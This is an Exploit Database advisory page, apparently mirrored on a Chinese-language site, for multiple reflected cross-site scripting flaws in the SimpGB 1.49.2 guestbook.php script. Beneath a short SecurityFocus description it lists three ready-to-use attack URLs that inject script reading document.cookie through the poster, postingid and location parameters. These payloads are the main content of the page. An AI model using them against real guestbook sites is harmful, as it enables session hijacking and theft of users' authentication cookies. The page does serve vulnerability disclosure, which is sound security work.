SimpGB 1.49.2 – ‘Guestbook.php’ Multiple Cross-Site Scripting Vulnerabilities

• Exploit Database
• 19 阅读

• 作者： MustLive
  日期： 2011-01-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35290/

• source: https://www.securityfocus.com/bid/46033/info
  
  SimpGB is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
  An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
  SimpGB 1.49.02 is vulnerable; other versions may also be affected. 
  
  http://www.example.com/guestbook.php?layout=Til&lang=en&mode=add&postingid=1&poster=%3Cscript%3Ealert(document.cookie)%3C/script%3E&input_text=111111111111111111111111111111&preview=preview
  
  http://www.example.com/guestbook.php?layout=Til&lang=en&mode=add&postingid=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&poster=1&input_text=111111111111111111111111111111&preview=preview
  
  http://www.example.com/guestbook.php?layout=Til&lang=en&mode=add&postingid=1&poster=1&location=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&input_text=111111111111111111111111111111&preview=preview